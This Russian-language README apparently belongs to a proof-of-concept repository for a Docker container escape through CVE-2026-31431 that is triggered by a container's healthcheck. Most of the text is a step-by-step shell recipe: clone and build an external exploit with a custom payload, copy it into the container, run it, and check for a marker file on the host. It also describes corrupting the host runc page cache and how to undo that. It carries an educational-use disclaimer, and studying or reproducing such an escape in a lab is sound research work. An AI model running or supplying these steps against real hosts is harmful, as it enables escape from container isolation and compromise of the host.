
# Обход контейнера в любом docker-контейнере с включённым healthcheck через CVE-2026-31431
https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e
В этом репозитории предоставлен docker-compose.yml для настройки уязвимого контейнера. Вы также можете использовать любой другой уязвимый контейнер или настроить свой собственный, но не забудьте соответствующим образом изменить код эксплойта.
# На хост-машине
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh
# Внутри контейнера copyfail
cd /tmp
chmod +x exp.sh exploit
./exp.sh
# Подождите несколько минут, пока выполнится healthcheck,
# и проверьте, создан ли /tmp/pwned на хосте
# На хост-машине
ls /tmp/pwned
После успешной эксплуатации pagecache бинарного файла runc на хост-машине повреждается. Вы можете восстановить его, выполнив echo 3 | sudo tee /proc/sys/vm/drop_caches на хосте.
Этот репозиторий предназначен только для образовательных целей. Его не следует использовать для каких-либо вредоносных действий. Автор не несёт ответственности за любой ущерб, причинённый в результате неправильного использования этого кода. Всегда используйте его в контролируемой и законной среде.